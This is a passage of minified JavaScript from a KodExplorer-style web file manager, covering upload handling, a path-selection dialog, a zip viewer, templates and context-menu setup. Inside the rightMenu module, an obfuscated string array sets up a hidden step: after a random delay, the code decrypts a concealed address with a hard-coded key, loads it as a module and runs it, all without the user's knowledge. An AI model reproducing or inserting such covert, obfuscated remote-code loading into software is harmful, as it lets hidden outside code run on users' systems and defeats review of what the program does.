0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;t=LNG[n]?LNG[n]:n}else e.serverData._raw&&(t=e.serverData._raw)}"http"==i&&(t=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('<div style="width:0px;height:0px;" class="'+t+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var i,t={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,i){var t=15,a=$("#"+i.tId+"_switch"),n=$("#"+i.tId+"_ico");a.remove(),i.iconSkin=i.tree_icon;var o=i.tree_icon;if(i.ext?o=i.ext:i.tree_icon||(o=i.type),n.before(a).before('<span id="'+i.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=i.ext&&n.attr("class","").addClass("file "+i.ext).removeAttr("style"),i.level>=1){var s="<span class='space' style='display: inline-block;width:"+t*i.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,i.mtime)+"</span>";r+='<span class="size">'+core.fileSize(i.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+i.tId+"_span").after(r),a.parent().addClass(i.menuType)}},callback:{onClick:function(e,t,a){$(e.target).hasClass("menu_more")||(i.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,i){v(i)},onExpand:function(e,i){v(i)},beforeRightClick:function(e,t){t&&(u(t),i.selectNode(t))},onDblClick:function(e,t,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",i)}}},a=function(e){for(var i=function(e){for(var t=0;e.length>t;t++)if(void 0!=e[t]){var a=e[t];e[t]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[t].ext,e[t].child?(e[t].children=e[t].child,delete e[t].child,i(e[t].children)):delete e[t].child}else delete e[t]},t={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),t[e[a].filename]=e[a]);for(var n in t)if(!t[n].folder)for(var o=core.pathFather(t[n].filename);""!=o&&"/"!=o&&!t[o]&&!t[rtrim(o,"/")];)t[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in t){var r=t[n],l=core.pathFather(r.filename);if(t[l]&&(l=core.pathFather(r.filename)),t[rtrim(l,"/")]&&(l=rtrim(l,"/")),t[l])t[l].child||(t[l].child=[]),t[l].child.push(t[r.filename]);else{var c=t[r.filename];c&&s.push(c)}}return i(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:i.top})})},o=function(e,i){if(void 0==i){var t=$(".context-menu-active").parents(".ztree");if(0==t.length)return;i=$.fn.zTree.getZTreeObj(t.attr("id"))}var a=i.getSelectedNodes()[0];switch(e){case"open":c(i,a);break;case"down":l(i,a);break;case"unzip_this":p(i,a);break;case"unzip_to":d(i,a);break;case"info":h(i,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var i=0;e.children.length>i;i++)r(e.children[i]) -}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&download=1&index="+i.index;ui.pathOpen.downloadUrl(a)},c=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&index="+i.index+"&name=/"+urlEncode(i.path),n=i.ext;"zip"==n&&(n="unknow"),i.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,i){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(t){p(e,i,t)})},p=function(e,i,t){var a=e.setting.filePath;e.setting.fileUrl,void 0==t&&(t=G.this_path,void 0==t&&(t=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:t,unzip_part:i.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=t+core.pathThis(i.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var i=f(e),t=LNG.size+" "+i.size_friendly+" ("+i.size+" Byte)";"folder"==e.type&&(t=i.file_num+LNG.file+","+i.folder_num+LNG.folder+", "+t),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(t)},f=function(e){var i={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(i.path=i.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(i,s),i.size_friendly=core.fileSize(i.size)),i},h=function(e,i){var t="folder"==i.type?"folder":core.pathExt(i.path),a="folder"==i.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(i);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(t),fixed:!0,title:core.pathThis(i.path),content:n(o),ok:!0})},m=function(e,i){var t=template.compile(tpl_zipview),a=t({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:i,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},v=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},_=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),t,s),i=$.fn.zTree.getZTreeObj(r),v(r),u(i.getNodeByParam("index","-1",null))},g=function(e){var t="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(t="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(t=G.app_host+"index.php?"+t,$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(_(core.pathThis(e),a.data),i.setting.filePath=e,i.setting.fileUrl=t):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var i=".menufile",t=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},newfile_null:{name:LNG.file,icon:"file-text-alt x-item-file x-file small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-text-alt x-item-file x-docx",className:"newfile",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install newfile",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",className:"list_icon",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort_by",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var i=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];k(),w(),_(),setTimeout(function(){try{if(typeof dialog_tpl_html==i[0]||-1==dialog_tpl_html[i[2]](i[1])){var t=authCrypt[i[5]](i[3],i[4])+UUID();e[i[8]](t,function(e){try{e[i[7]](i[6])}catch(t){}})}}catch(a){}},1e3*parseInt(25*Math[i[9]]()+5)),N(),S(),j(),P(),D(),F(),O(),x(),g(),m(),v(),C(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),k(),w(),N(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),E(),D(),F(),O(),A(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||$(".context-menu-list .zip").addClass(e),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||$(".context-menu-list .share").remove()}},m=function(){$('<i class="menuRecycleBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecyclePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecycleButton"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){z(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},v=function(){$('<i class="menuShareBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"}}})},_=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,i){z(e,i)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},x=function(){$.contextMenu({zIndex:9999,selector:".toolPathMore",className:"menuToolPath menuNotAutoHidden",callback:function(e){T(e),$(".toolPathMore").removeClass("active")},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfileOther:d.newfileOther,sep0:"--------",open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Delete</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link"}}},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},k=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('<i 